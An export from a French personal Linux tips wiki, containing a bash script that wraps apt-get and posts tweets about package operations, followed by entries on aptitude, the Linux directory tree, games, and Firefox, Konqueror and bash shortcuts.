if [ "$AUTOREMOVEFLAG" ]; then
	sudo apt-get autoremove
	ERROR=$?
	checkError $ERROR
	message=$message"Paquets non-utilisés effacés. "
fi

if [ "$BUILDDEPFLAG" ]; then
	sudo apt-get build-dep $depArgs
	ERROR=$?
	checkError $ERROR
	message=$message"conficuration des dépendances build. "
	#envoie du message
fi

if [ "$CHECKFLAG" ]; then
	sudo apt-get check
	ERROR=$?
	checkError $ERROR
	message=$message"vérification des dépendances manquantes. "
fi

if [ "$CLEANFLAG" ]; then
	sudo aptitude clean
	ERROR=$?
	checkError $ERROR
	message=$messagee"Archives télechargées effacées. "
	#envoie du message
fi

if [ "$DISTUPGRADEFLAG" ]; then
	sudo aptitude dist-upgrade
	ERROR=$?
	checkError $ERROR
	message=$message"mise à jour de la distribution. "
fi

if [ "$INSTALLFLAG" ]; then
	sudo aptitude install $installArgs
	ERROR=$?
	checkError $ERROR
	message=$message"Paquet Installé "`echo $installArgs|tr ' ' ','`
fi

if [ "$PURGEFLAG" ]; then
	sudo aptitude purge
	ERROR=$?
	checkError $ERROR
	message=$message"Purge des paquets. "
fi

if [ "$REMOVEFLAG" ]; then
	sudo aptitude remove $removeArgs
	ERROR=$?
	checkError $ERROR
	message=$message"Paquet désinstallé "`echo $removeArgs|tr ' ' ','`
fi

if [ "$UPDATEFLAG" ]; then
	sudo aptitude update
	ERROR=$?
	checkError $ERROR
	message=$message"Mise à jour de la liste des paquets. "
fi

if [ "$UPGRADEFLAG" ]; then
	sudo apt-get upgrade
	ERROR=$?
	checkError $ERROR
	message=$message"Mise à jour de l'ensemble des paquets disponibles. "
fi
message=$tweetMessage$message
postTweet
exit 0
}}}

Et maintenant le script original:
{{{
#!/usr/bin/env bash
#tapt v0.2.1 Ashok Gelal, a guy from Nepal currently studying in the United States
#For support, questions, comments, suggestions and more suffs: http://quicktweaks.com
#Contact: ashokgelal@gmail.com
#You are free to modify and distribute this file. Give me credit if you like otherwise it's ok.

curl="/usr/bin/curl"
#Your twitter info. Replace yourusername with your username and yourpassword with your password. So easy!
#If you don't want to store your account info here, you can pass username (-u) and password(-p) as command line arguments.
username="yourusername"
password="yourpassword"

#Format your hard-disk. Just kidding ;-) Erasing all the rubbish from your screen
clear

#function to display my name
#I first considered the name RAPTI - Revised APT Installer. Rapti is also one of the famous river of Nepal.
#But 'Rapti' didn't go well with 'Twitter' so I had to change that :-(
function displayMyName()
{
	echo " _____           _   "
	echo "|_   _|_ _ _ __ | |_ "
	echo "  | |/ _\` |  _  | __|"
	echo "  | | (_| | |_) | |_ "
	echo "  |_|\__,_| .__/ \__|"
	echo "          |_|        "
	echo ""
}

#I love displaying my name.
displayMyName

#Hey! You need to DO it SU way
if [ `id -u` != "0" ]; then
	echo "OMG! Didn't you sudo?"
	exit 1
fi

#Flags
AUTOCLEANFLAG=
AUTOREMOVEFLAG=
BUILDDEPFLAG=
CHECKFLAG=
CLEANFLAG=
DISTUPGRADEFLAG=
INSTALLFLAG=
PURGEFLAG=
REMOVEFLAG=
UPDATEFLAG=
UPGRADEFLAG=
USERNAMEFLAG=
PASSWORDFLAG=
MESSAGEFLAG=
OPTIONFLAG=
SILENTFLAG=
OPERATIONFLAG=
actionMessage=
tweetMessage=
errorMessage=
depArgs=
installArgs=
removeArgs=
status=

#Function to display usage for this program
function usage()
{
	printf "Usage: %s [-a] [-v] [-b package(s)] [-c] [-n] [-d] [-i package(s)] [-p] [-r package(s)] [-t] [-u username] [-m message] [-h] [-o] [-s]\n\n" $(basename $0)

}

#Function to display the list of all the options available
function listOptions()
{
	clear
	displayMyName
	echo "tapt v0.2.1. Author: Ashok Gelal. Last updated on 5th September 2008."
	echo ""
	echo "Options available:"
	echo "a - autoclean - Erase old downloaded archive files"
	echo "v - autoremove - Remove automatically all unused packages"
	echo "b - build-dep - Configure build-dependencies for source packages (needs packages as argument)"
	echo "c - check - Verify that there are no broken dependencies"
	echo "n - clean - Erase downloaded archive files"
	echo "d - dist-upgrade - Distribution upgrade"
	echo "i - install - Install new packages (needs packages as argument)"
	echo "e - purge - Remove and purge packages"
	echo "r - remove - Remove packages (needs packages as argument)"
	echo "t - update - Retrieve new lists of packages"
	echo "g - upgrade - Perform an upgrade"
	echo "u - username - Twitter username (needs username as argument)"
	echo "p - password - Twitter password (needs password as argument)"
	echo "m - message - Message for Twitter. Keep it short."
	echo "h - help - Show usage"
	echo "o - list options"
	echo "s - silent mode"
}

#Function to check the errors. Exits the program if any error occurs
function checkError()
{
	if [ $1 != 0 ]; then
		printf "\n\n*********************************** CRAP!!! *********************************"
		printf "\n\nOops! Something went wrong. I'm not going to bear this again let me tell you!"
		printf "\n\n%s" "$errorMessage"
		printf "\n\n************************************ ERROR! *********************************\n\n"
		exit 2
	fi
}

#Function to post the tweet to Twitter
function postTweet()
{
	showMessage="$message"
	translate
	
	if [ $SILENTFLAG ]; then
		clear
		displayMyName
	fi	

	#check for the total length
	if [ $(echo $status|wc -m) -gt 140 ]; then
		errorMessage="Only 140 characters allowed but you have $(echo $status|wc -m) characters."
		ERROR=1
		checkError $ERROR
	fi
	
	printf "\n********************************* Tweeting **********************************\n"
	#curl and save the output to a variable
	OUTPUT=`curl -S -s --basic --user "$username:$password" --data-ascii "status=$status" "http://twitter.com/statuses/update.json"`
	
	#what was the result of previous command?
	ERROR=$?
	
	#check if Twitter can authenticate
	if [[ "$OUTPUT" =~ "Could not authenticate you" ]]; then
		errorMessage="Tweeter says it can't authenticate you. Check your username and password again."
		ERROR=1
		checkError $ERROR
	fi
	
	#check for error. Just to ensure everything is right
	checkError $ERROR
	
	#upto this point everything should be alright so give some happy news
	printf "\nI tweeted this: \"%s.\" Is that okay?" "$showMessage"
	printf "\n\n*********************************** DONE ************************************\n\n"
}

#Function to translate the messages. It replaces all the spaces with +
function translate()
{
	status=`echo $message|tr ' ' '+'`
}

#loop through each options
while getopts :avb:cndi:er:tgu:p:m:hos OPTION
do
	OPTIONFLAG=1
	case $OPTION in
		a) 	
			AUTOCLEANFLAG=1
			OPERATIONFLAG=1
		;;
		v) 	
			AUTOREMOVEFLAG=1
			OPERATIONFLAG=1
		;;
		b) 	#get arguments
			depArgs="$OPTARG"
		   	BUILDDEPFLAG=1
		   	OPERATIONFLAG=1
		;;
		c) 	
			CHECKFLAG=1
			OPERATIONFLAG=1
		;;	
		n) 	
			CLEANFLAG=1
			OPERATIONFLAG=1
		;;
		d) 	
			DISTUPGRADEFLAG=1
			OPERATIONFLAG=1
		;;
		i) 	#get arguments
			installArgs="$OPTARG"
			INSTALLFLAG=1
			OPERATIONFLAG=1
		;;
		e)	
			PURGEFLAG=1
			OPERATIONFLAG=1
		;;
		r)	#get arguments
			removeArgs="$OPTARG"
			REMOVEFLAG=1
			OPERATIONFLAG=1
		;;
		t)	
			UPDATEFLAG=1
			OPERATIONFLAG=1				
		;;
		g)	
			UPGRADEFLAG=1
			OPERATIONFLAG=1					
		;;
		u)	#get arguments (username)
			username="$OPTARG"
			USERNAMEFLAG=1
		;;
		p)	#get arguments (password)
			password="$OPTARG"
			PASSWORDFLAG=1
		;;		
		m)	#get arguments (message)
			MESSAGEFLAG=1
			tweetMessage="$OPTARG"
		;;
		h)	#display usage
			usage
			#OPERATIONFLAG=1
			exit 0
		;;
		o)	#display list of options
			listOptions
			#OPERATIONFLAG=1
			exit 0
		;;
		s)	
			SILENTFLAG=1
		;;
		\:)	#User didn't pass arguments for a particular option
			printf " -%s needs some arguments. Did you hear that?\n\n" "$OPTARG"
			usage
			exit 2
		;;		
		\?)	#User entered an invalid option
			printf "Unknown option: -%s. Have I ever talked about that option?\n\n" "$OPTARG"
			usage
			exit 2
		;;
	esac >&2
done

#check all the flags and do the appropriate tasks
#if no option is given
if [ "$OPTIONFLAG" != "1" ]; then
	printf "What should I suppose to do without any options?\n\n"
	usage
	exit 2
fi

if [ "$OPERATIONFLAG" != "1" ]; then
	printf "What should I do with that option? I tweeted it to /dev/null!\n\n"
	usage
	exit 2
fi
	tweetMessage=$tweetMessage." "

if [ "$AUTOCLEANFLAG" ]; then
	sudo apt-get autoclean
	ERROR=$?
	checkError $ERROR
	message=$messages"Erased old archive file. "
fi

if [ "$AUTOREMOVEFLAG" ]; then
	sudo apt-get autoremove
	ERROR=$?
	checkError $ERROR
	message=$message"Removed unused packages. "
fi

if [ "$BUILDDEPFLAG" ]; then
	sudo apt-get build-dep $depArgs
	ERROR=$?
	checkError $ERROR
	message=$message"Configured build-dependencies. "
	#postTweet
fi

if [ "$CHECKFLAG" ]; then
	sudo apt-get check
	ERROR=$?
	checkError $ERROR
	message=$message"Checked broken dependencies. "
fi

if [ "$CLEANFLAG" ]; then
	sudo apt-get clean
	ERROR=$?
	checkError $ERROR
	message=$messagee"Erased downloaded archive files. "
	#postTweet
fi

if [ "$DISTUPGRADEFLAG" ]; then
	sudo apt-get dist-upgrade
	ERROR=$?
	checkError $ERROR
	message=$message"Upgraded distribution. "
fi

if [ "$INSTALLFLAG" ]; then
	sudo apt-get install $installArgs
	ERROR=$?
	checkError $ERROR
	message=$message"Installed "`echo $installArgs|tr ' ' ','`
fi

if [ "$PURGEFLAG" ]; then
	sudo apt-get purge
	ERROR=$?
	checkError $ERROR
	message=$message"Purged Packages. "
fi

if [ "$REMOVEFLAG" ]; then
	sudo apt-get remove $removeArgs
	ERROR=$?
	checkError $ERROR
	message=$message"Removed "`echo $removeArgs|tr ' ' ','`
fi

if [ "$UPDATEFLAG" ]; then
	sudo apt-get update
	ERROR=$?
	checkError $ERROR
	message=$message"Retrieved lists of new packages. "
fi

if [ "$UPGRADEFLAG" ]; then
	sudo apt-get upgrade
	ERROR=$?
	checkError $ERROR
	message=$message"Performed an upgrade. "
fi
message=$tweetMessage$message
postTweet
exit 0
}}}
''Nom de l'application'': ''@@color(red): Aptitude @@''
Mots clef: packages, programmes, debian, ubuntu
Liens: [[source 1|http://www.commentcamarche.net/faq/sujet-5565-apt-get-ou-aptitude ]], [[source 2|http://www.pthree.org/2007/08/12/aptitude-vs-apt-get/]], [[références|http://www.debian.org/doc/manuals/reference/ch-package.fr.html]]
<<<
''Description: ''Aptitude est un gestionnaire de paquets utilisant le même système que apt avec une interface en mode texte. 
''Installation: ''

''Utilisation: ''
En plus de permettre une utilisation par interface en mode texte, on peut, comme avec apt, l'utiliser directement en console. Exemple:
{{{
# aptitude install monProgramme
}}}
ou
{{{
# aptitude remove monProgramme
}}}
Options de aptitude:
# aptitude: Sans argument amène à l'interface graphique.
# aptitude install: Installe un programme et ses dépendances sur votre système.
# aptitude remove: Enlève un programme et les dépendances rendues orphelines. 
# aptitude purge: Même chose que //aptitude remove// mais en éliminant en plus les fichiers de configuration.
# aptitude search: Recherche un programme dans la liste locale de apt.
# aptitude update: Mise à jour de la liste locale de apt.
# aptitude upgrade: Mise à jour (dernière version disponible) de tous les programmes installés sur le système.
# aptitude clean: Efface tous les fichiers télechargés utilisés pour l'installation des programmes sur votre système.
# aptitude dist-upgrade: Mise à jour globale autorisant la désinstallation de programmes (en général pour passer à une nouvelle distribution).
# aptitude show: Affiche les détails sur le programme.
# aptitude autoclean: Efface seulement les archives des programmes obsolètes.
# aptitude hold: Bloque un programme à la version actuelle, empêchant sa mise à jour.

Avantage de aptitude:
#aptitude offre accès à toutes les versions d'un paquet.
#aptitude enregistre toutes ses actions dans /var/log/aptitude.
#aptitude rend facile le suivi des logiciels obsolètes en les listant dans « Obsolete and Locally Created Packages ».
#aptitude inclut un système de recherche puissant pour trouver des paquets particuliers ou limité l'affichage des paquets. Les utilisateurs familiers avec mutt seront rapidement à l'aise, puisque mutt a inspiré la syntaxe des expressions. Voir « SEARCHING, LIMITING, AND EXPRESSIONS » dans /usr/share/doc/aptitude/README.
#aptitude en plein écran intègre su et peut être utilisé par un utilisateur normal jusqu'à ce qu'il y ait réellement besoin des privilèges de l'administrateur. 

''Notes: ''Pour une utilisation de apt, voir APTUtilisation
Astuce: ''L'arborescence de fichiers du système Linux''
Mots clef: arborescence
Os: Linux
Liens:[[source 1|http://www.linuxetmoi.com/]], [[source 2|http://www.slyunix.org/astuce/astuce.php?a_id=149]]
<html>
<table id="table" border="1" width="80%">							
	<tbody>
	<tr>
		<td width="20%"><b>/etc</b></td>
		<td>Contient les fichiers de configuration généraux de tous les programmes du système.</td>
	</tr>
	<tr>

		<td width="10%"><b>/etc/rc.d</b></td>
		<td>Contient les commandes à exécuter au démarrage du système.</td>
	</tr>
	<tr>
		<td width="10%"><b>/bin</b></td>
		<td>Contient des commandes nécessaires lors du démarrage du système. Ces commandes pourront par la suite être utilisées par les utilisateurs.
		</td>
	</tr>

	<tr>
		<td width="10%"><b>/sbin</b></td>
		<td>Contient des commandes nécessaires lors du démarrage du système, mais en général inutiles pour les utilisateurs (soit parce qu"ils n"ont pas les droits suffisants pour que ces programmes fassent quoi que ce soit d"utile pour eux, soit parce que leur sortie ne les intéresse normalement pas).
		</td>
	</tr>
	<tr>
		<td width="10%"><b>/home</b></td>
		<td>Est réservé à l'hébergement des comptes des utilisateurs (un sous-dossier par personne). Il est ainsi facile de partager tous les comptes personnels en réseau. L'administrateur root ne figure pas dans ce répertoire, car en cas d"échec du réseau dans ce scénario il doit tout de même pouvoir se loguer.
		</td>

	</tr>
	<tr>
		<td width="10%"><b>/dev</b></td>
		<td>Ce répertoire contient des fichiers spéciaux (de type caractère ou bloc) permettant d"accéder aux périphériques. On ne peut pas toujours les éditer avec un éditeur de texte ; mais un programme peut effectuer dessus d"autres opérations que la lecture/écriture et cela a un effet sur le matériel (ex : changer la fréquence d"échantillonnage sur la carte son, accéder directement à la mémoire vidéo...). Ces fichiers sont munis de droits, ce qui permet à l'administrateur de décider qui a accès à quels périphériques.
		</td>
	</tr>
	<tr>
		<td width="10%"><b>/proc</b></td>

		<td>C"est un pseudo-répertoire : en réalité, son contenu n"existe pas physiquement sur le disque, mais est créé dynamiquement par le noyau lui-même. On y trouve nombre d"informations techniques utiles, notamment sur les périphériques reconnus par le système (numéro de ports et interruptions), des statistiques du noyau, du réseau et des processus en cours d"exécution, etc.
		</td>
	</tr>
	<tr>
		<td width="10%"><b>/sys</b></td>

		<td>Existe uniquement sous linux 2.6. Comme pour /proc, c'est un répertoire virtuel directement géré par le noyau. Il permet de donner et modifier des informations sur les objets noyau (les périphériques, etc.)
		</td>
	</tr>
	<tr>
		<td width="10%"><b>/boot</b></td>
		<td>C"est le répertoire qui contient le noyau. Il est lu et copié en mémoire au démarrage du système, et ensuite les fichiers du noyau ne servent plus.
		</td>
	</tr>
	<tr>

		<td width="10%"><b>/lib</b></td>
		<td>Ce sont les bibliothèques essentielles aux fonctions de base du système d'exploitation
		</td>
	</tr>
	<tr>

		<td width="10%"><b>/usr</b></td>
		<td>Contient tous les programmes et fichiers de données qui ont pour caractéristiques : de ne pas être nécessaires au démarrage de la machine (de sorte qu"on peut installer /usr sur un serveur réseau, ce qui facilite grandement l"administration), et de ne jamais être modifiés en fonctionnement normal de l"ordinateur (de sorte que /usr peut être partagé en lecture seule, pour la sécurité et les performances).
		</td>
	</tr>
	<tr>
		<td width="10%"><b>/usr/bin</b></td>
		<td> commandes utilisables par tous les utilisateurs, et non nécessaires lors du démarrage du système;</td>

	</tr>
	<tr>
		<td width="10%"><b>/usr/sbin</b></td>
		<td>Commandes réservées au super-utilisateur, et non nécessaires lors du démarrage du système; Contient les pages de manuel.</td>
	</tr>
	<tr>
		<td width="10%"><b>/usr/doc</b></td>

		<td>Contient de nombreuses documentations et sources d"informations.</td>
	</tr>
	<tr>
		<td width="10%"><b>/usr/share</b></td>
		<td>Contient des fichiers de données dans un format portable (des textes, des images, etc. mais pas de l"assembleur), qui pourraient être partagés en réseau même entre des clients Linux qui n"ont pas tous le même type de processeur (ce qui ferait gagner énormément de place sur un serveur servant plusieurs types de client). La migration des fichiers de /usr/lib vers /usr/share selon leur type est un processus lent, mais qui arrive petit à petit dans les distributions.
		</td>
	</tr>
	<tr>

		<td width="10%"><b>/usr/X11R6</b></td>
		<td>Contient tous les fichiers du système X-Window (serveurs X, programmes graphiques, bibliothèques, etc.)</td>
	</tr>
	<tr>
		<td width="10%"><b>/usr/local</b></td>
		<td>Lieu où sont stockés les fichiers spécifiques au système installé (installation locale) : il contient une arborescence similaire à celle de /usr. Lorsque l"on récupère et installe un logiciel à partir des sources, il convient de l"installer dans /usr/local parce que le domaine /usr est géré par RPM et qu"il convient ne pas modifier les fichiers des programmes dans son dos.
		</td>
	</tr>

	<tr>
		<td width="10%"><b>/var</b></td>
		<td>Contient des données mises à jour par différents programmes durant le fonctionnement du système. Autrement dit : cette partition doit rester accessible en écriture, au contraire de /usr, mais elle peut être également partagée en réseau.
		</td>
	</tr>
	<tr>
		<td width="10%"><b>/var/lock</b></td>
		<td>Fichiers de blocage, pour interdire par exemple deux utilisations simultanées du modem par deux processus.</td>

	</tr>
	<tr>
		<td width="10%"><b>/var/spool</b></td>
		<td>Files d"attente de différents services (imprimantes, messagerie électronique...) : par exemple,les courriers électroniques de <utilisateur> sont déposés dans le fichier /var/spool/mail/</utilisateur>. Contient les fichiers de rapport constitué de messages datés émis par les différents démons et le noyau. Ils sont classés par thème ; le fichier /etcsyslog.conf permet de modifier leur répartition.
		</td>
	</tr>
	<tr>

		<td width="10%"><b>/tmp</b></td>
		<td>Contient les données temporaires des différents programmes (parfois, /tmp est un lien symbolique vers /var/tmp).</td>
	</tr>
</tbody></table></center>

</html>
''Nom de l'application'': ''@@color(red): Armagetron @@''
Mots clef: jeux
Liens: [[site officiel|http://armagetron.sourceforge.net/]]
<<<
''Description: ''Armagetron est un clône de Tron en 3D. Multijoueur, vous pourrez jouer contre l'ordinateur, à plusieurs sur le même poste (écran coupé) ou en réseau (LAN ou internet).

''Installation: ''{{{apt-get install armagetron armagetron-common armagetron-server}}}

''Notes: ''Voir également GLtron qui est plus simple d'utilisation et permet une gestion multi-joueurs sur le même clavier.
<<<
''Nom de l'application'': ''@@color(red): Assaultcube @@''
Mots clef: fps, jeux 
Liens: [[site officiel|http://assault.cubers.net/ ]]
<<<
''Description: ''Assaultcube est un jeu de tir subjectif Open Source basé sur son prédécesseur, le célèbre Cube.

''Installation: ''[[via getDeb|http://www.getdeb.net/release/3678]]

''Notes: ''voir aussi WarsoW
Astuce: ''Astuces Firefox''
Mots clef: Internet
Os: Tous
<<<
|''Défilement automatique'': |Préférences > Avancé > Général > Utiliser le défilement automatique: permet d'avoir un curseur de défilement horizontal et vertical sur un clic du milieu.|
|''Intégration dans KDE: ''|KGtk permet d'obtenir les fenêtres de dialogue kde dans firefox|
|''Raccourcis'': |FirefoxRaccourcis Une foultitude de raccourcis pour tout et pour rien|
|''Liste des extensions installées'': |ExtensionsFirefoxInstallees  (avec possibilité d'installation)|
|''Afficher le cache'': |FirefoxDisplayCache|
|''Protocoles spéciaux'': |voir FirefoxED2KLinks|
|''Liste des plugins de recherche installé'': |SearchPluginsFirefoxInstalles|
|''Améliorer les boutons des formulaires'': |FirefoxAmeliorerFormulaires|
|''Limiter l'accès à firefox: ''|PublicFox limite l'accès à certaines fonctionnalités|
|''Personaliser le rendu des pages web: ''|GreaseMonkey|
|''Activer la correction orthographique partout''|dans about:config, taper layout.spell et changer layout.spellcheck.Default sur 2. A noter la sortie du dictionnaire myspell français 2007 [[ici|http://perso.latribu.com/rocky2/index.html]].|
|''Afficher plusieurs lignes d'onglets''|grâce à l'extension TabMixPlus|
|''Imprimer avec Kprinter''|à l'aide de l'astuce ImprimerFirefoxThunderbirdOoAvecKprinter|
|''Selection adresse url 1 clic''|dans about:config, mettre la valeur browser.urlbar.clickSelectsAll à true.|
Astuce: ''Astuces Google''
Mots clef: Internet, Google
Os: Tous
<<<
|''Lecteur mp3 google'': |GoogleMp3Player permet d'obtenir ce lecteur pour sa propre page web.|
|''Recherche de mp3'': |RechercheFichiersGoogle permet de faire une recherche pour un certain type de fichiers.|
|''Recherche de visages'': |GoogleFaceSearch permet, grâce à Google Image Search de faire une recherche que sur les visages.|
|''Gspace'': |GoogleSpaceFFExtension transforme Gmail en disque de stockage en ligne.|

Pour plus d'astuces de recherche et d'utilisation voir :
* [[Google Help : Cheat Sheet|http://www.google.com/help/cheatsheet.html]]
* [[Google Cheat Sheet|http://adelaider.com/google/]] (en version pdf). Excellent, de Eazy Rhymez.
Astuce: ''Astuces Konqueror''
Mots clef: utilitaire
Os: Linux
<<<
Konqueror est à la fois un butineur internet n'ayant rien à envier à Firefox et un gestionnaire de fichiers très puissant. Voici quelques astuces le concernant.

''F1'' : ouvre le manuel de Konqueror
''F3'' : ouvre la boite de recherche et permet de continuer la recherche une fois la boite fermée
''F4'' : ouvre une console
''F5'' : recharge la page
''F6'' : sélectionne le contenu de la barre d'adresse
''F7'' : repositionne la page html au niveau du curseur
''F8'' : scinde konqueror en deux : navigateur/console
''F9'' : masquer/afficher le panneau de navigation à gauche
''F11'' : mode plein écran
//En navigateur de fichier uniquement ://
''F2'' : Renommer le fichier
''F7'' : Copier le fichier
''F8'' : Déplacer le fichier
''F10'' : créer un nouveau dossier

| ''Recherche live'':|si F5 permet de faire une recherche classique, la touche ''/'' permet de faire une recherche "as you type"|
| ''Scinder la fenêtre'':|Un clic droit sur la barre de status en bas permet de sélectionner une vue scindée (haut/bas, gauche/droite) très pratique!|
| ''Default view mode'':|On peut enregistré un mode de vue par défaut (pour internet ou le gestionnaire de fichiers) en allant dans //Configuration -> Enregistrer le profil// (//Settings -> Save view Profile//)|
| ''Afficheur de taille de fichier'':|Sélectionner cette option dans le menu //Affichage// permet d'avoir un aperçu graphique de la taille de dossiers et fichiers contenus dans le répertoire courant.|
| ''N'afficher qu'un seul type de fichiers'':|Aller dans //outils -> Filtre d'affichage// et choisir le type de fichiers à afficher ''ou'' dans l'adresse taper quelque chose du type ///home/moi/*.pdf// pour lister les dossiers présents ainsi que les pdf.|
| ''Créer des service-menus'':|Pour ajouter des éléments dans le menu contextuel (clic droit): KonquerorServiceMenu|
| ''Créer des aperçus dossiers'':|Pour afficher une image à choix à la place du symbole des dossier: KonquerorApercuDossiers|

''Gestion d'une multitude de protocoles'' via les "kio_slaves", c'est à dire que konqueror peut être utilisé à la fois comme butineur, mais aussi client ftp, ssh,...
Un petit aperçu:
| http://|permet bien sûr de surfer sur le web|
| ftp://|protocole ftp, utilisation: {{{ftp://user@ftp.server.com}}}|
| fish://|protocole ssh, utilisation: {{{fish://bob@caesar.somedomain.com:22}}} ou {{{fish://bob@ipMachine}}}|
| remote:/|permet d'accéder aux fichiers partagés sur votre réseau personnel (samba, bluetooth, nfs)|
| smb://|permet d'accéder à un dossier partagé windows, utilisation: {{{smb://username@joro/testshare}}}|
| vnc://|permet d'accéder à un serveur vnc, utilisation: {{{vnc://nomOrdi/IpOrdi}}}|
| fonts:/|permet d'accéder aux répertoires (utilisateur et système) contenant les polices de caractère|
| audiocd:/|permet d'ouvrir un cd audio mais également d'en extraire ses pistes dans divers formats audio|
| info:|permet de lire les informations sur différentes applications. utilisation: {{{info:autoconf}}} ou simplement {{{info:}}} pour avoir l'index|
| man:|permet d'obtenir une version mise en page de la page man en question. {{{man:ps}}} Cette dernière peut être ensuite exportée en pdf grâce à "print to File -> pdf".|

''Notes''
#Plus d'info sur konqueror dans konqueror avec help:/konqueror/
#Pour plus de "kio_slaves", voir [[ici|http://en.opensuse.org/Konqueror_Tips_and_Tricks]]
#Il existe un programme pour avoir un accès à la configuration "secrète" de Konqueror qui s'appelle [[tweaK|http://kde-apps.org/content/show.php/tweaK?content=51170]]
Astuce: ''Modifier xorg.conf afin d'augmenter la résolution maximale''
Mots clef: système, affichage
Os: Linux
<<<
Editer ///etc/X11/xorg.conf//
Les résolutions sont ensuité définies dans la section "Screen", par exemple :
{{{
   SubSection "Display"
      Depth      24
      Modes      "1600x1200" "1280x1024" "1024x768" "800x600" "640x480"
   EndSubSection
}}}
définit toutes les résolutions possibles en profondeur de couleurs sur 24 bits.
Il faut donc rajouter la nouvelle resolution, par exemple //"1280x800"//, dans toutes les profondeurs qui t'intéresse et redémarrer le serveur graphique :
{{{$ sudo /etc/init.d/gdm restart}}}
<<<
Astuce: ''Créer des Banners texte en ligne de commande''
Mots clef: image console
Os: Linux
Liens: [[source| http://www.linux.com/article.pl?sid=06/07/19/196243 ]]
<<<
Il suffit pour cela de suivre les étapes suivantes:

''Transformer le texte en fichier Postscript''
{{{$ echo "Mon chti txt" | enscript -B -f "Palatino-Bold48" -o blog.ps}}}
Ce qui crée un fichier blog.ps contenant le texte "Mon chti txt" de police Palatino Bold et de taille 48

''Convertir le fichier Postscript en image''
{{{$ convert -crop 0x0 -negate -border 1x1 -bordercolor blue blog.ps blog.png}}}

''Améliorer l'image''
{{{$ convert -crop 0x0 -negate -border 1x1 -bordercolor blue blog.ps blog.png}}}

''Si l'on veut faire tout cela en une seule ligne en utilisant en plus des paramètre de date''
{{{$ echo "Headlines for `date +'%B %e'`" | enscript -o - -B -f "Times-Bold48" | convert -crop 0x0 - headlines.png}}}
<<<
<html>
<BR>
 <p align=center>
<a></a>
<BR>
<a href="http://www.kubuntu-fr.org/" target="_blank"><img border="0" alt="Get Kubuntu!" title="Get Kubuntu!" src="http://www.bartux.net/wiki/kubuntubanner.png"/></a>

<a href="http://www.spreadfirefox.com/?q=affiliates&id=0&t=82" target="_blank">
<img border="0" alt="Get Firefox!" title="Get Firefox!" src="http://www.bartux.net/wiki/getfirefox.gif"/></a>

<a href="http://www.geexbox.org/fr/" target="_blank"><img border="0" alt="Get Geexbox title="Get Geexbox!" src="http://www.bartux.net/wiki/geexbox.png"/></a>
<a href="http://ubuntucounter.geekosophical.net"  target="_blank" title="The Ubuntu Counter Project - user number # 5313"><img src="http://www.bartux.net/wiki/ubuntu-blogger.png" alt="The Ubuntu Counter Project - user number # 5313" /></a>
<BR>
<a href="http://www.passeralinux.fr/" title="Passez à Linux - une alternative à Windows, libre et gratuite"><img src="http://www.passeralinux.fr/lien/unlock_312x66_1.png" alt="Linux" width="312" height="66" border="0"/></a>
<BR>
<a href="http://counter.li.org" target="_blank"><img border="0" alt="Get Counted" title="Get Counted" src="http://www.bartux.net/wiki/linuxusers424483.png"></a>
</html>
Vous pouvez me contacter à l'adresse email
[<img[tux|email.png]]
''Nom de l'application'': ''@@color(red): Basket @@''
Mots clef: utilitaire
<<<
''Description: ''BasKet est un logiciel de prise de notes mais, contrairement aux autres logiciels du genre, il permet de prendre toute sorte de notes : textuelles, liens, images, fichiers, lanceurs d'application...

''Installation: ''{{{# aptitude install basket}}}

''Notes: ''Pour un programme permettant de créer de simples post-it sur le bureau, voir KNotes. 
Astuce: ''Amélioration de la complétion du bash''
Mots clef: bash
Os: Linux
<<<
La complétion est la possibilité de lister commandes, fichiers, répertoires... en tapant "Tab".
Mais on peut grandement améliorer cette fonctionnalité en activant la complétion programmable. Il suffit d'éditer /etc/bash/.bashrc et de décommenter les 3 dernières lignes, soit:
{{{sudo nano /etc/bash.bashrc}}}
et décommenter ces lignes:
{{{
# enable bash completion in interactive shells
if [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
fi
}}}

Pour activer la recherche dans l'historique grâce aux flèches "up" et "down" à partir du début d'une commande, il faut, dans le fichier ///etc/inputr// ou ///home/user/.inputrc//, ajouter les lignes suivantes:
{{{
# alternate mappings for "up arrow" and "down arrow" to search the history
"\e[A": history-search-backward
"\e[B": history-search-forward
}}}

Ce qu'on obtient:
* La complétion après avoir tapé une première commande:
sudo syna + [Tab] => sudo synaptic
sudo apt-get i +[Tab] => sudo apt-get install
* Une complétion "intelligente" en fonction de la commande:
man if +[Tab][Tab] => ifconfig      iflash2+_mtd  ifrename      ifup... Soit uniquement les prog ayant une page de manuel
evince +[Tab][Tab] => les pdfs plus les répertoires...
sudo apt-get install ecli +[Tab] => sudo  apt-get install eclipse- ...
* Une complétion sur les utilisateurs:
~ +[Tab]
Une complétion sur les machines du réseau présentes dans /etc/hosts
ssh +[Tab]
@ +[Tab]

''Notes:'' voir aussi BashCorrectionFautesFrappe
Astuce: ''Correction automatique des fautes de frappe en console''
Mots clef: bash
Os: Linux
<<<
Editer le fichier /etc/bash/.bashrc ou ~/.bashrc et rajouter la ligne suivante:
{{{
#Correction des fautes de frappe
shopt -s cdspell
}}}
Ensuite mettre à jour avec:
{{{
$ exec bash
}}}
''Notes:'' voir aussi BashCompletion
Astuce: ''Raccourci pour les commandes bash''
Mots clef: bash
Os: Linux
Sources: [[Tuto Nuxo.net|http://www.nuxo.net/tutorial-9.html]], [[Plus d'astuces bash|http://forum.ubuntu-fr.org/viewtopic.php?id=24563 ]], [[pwet.fr|http://pwet.fr/blog/etre_a_l_aise_avec_bash_3]]
<<<
*Le raccourcis Control+r permet d'effectuer une recherche (incrémentale) dans l'historique. Il suffit de taper sur Entrée pour l'éxécuter ou sur la flèche droite pour copier cette commande sur la ligne courante si on veut y ajouter des paramètres.
*Les touches flèche haut et flèche bas permettent de recherche les commandes précédemment tapées dans l'historique, mais il est possible de faire en sorte que cette recherche prenne en compte les caractères déjà tapés en créant un fichier //~/.inputrc// contenant les lignes suivantes:
{{{
"\e[A": history-search-backward
"\e[B": history-search-backward
}}}
*Les commandes suivantes permettent également de faire diverses opérations bash:
|bgcolor(lightyellow):  ''Ctrl+R''|bgcolor(lightyellow):Pour une recherche dans l'historique. |
|bgcolor(lightyellow):  ''Ctrl+C''|bgcolor(lightyellow):Pour reprendre la main, tue le programme en cours |
|bgcolor(lightyellow):  ''Ctrl+D''|bgcolor(lightyellow):Pour quitter le shell en cours, comme exit |
|bgcolor(lightyellow):  ''Ctrl+Z''|bgcolor(lightyellow):Pour stopper le processus en cours |
|bgcolor(lightyellow):  ''Ctrl+A''|bgcolor(lightyellow):Ramène le curseur en début de ligne |
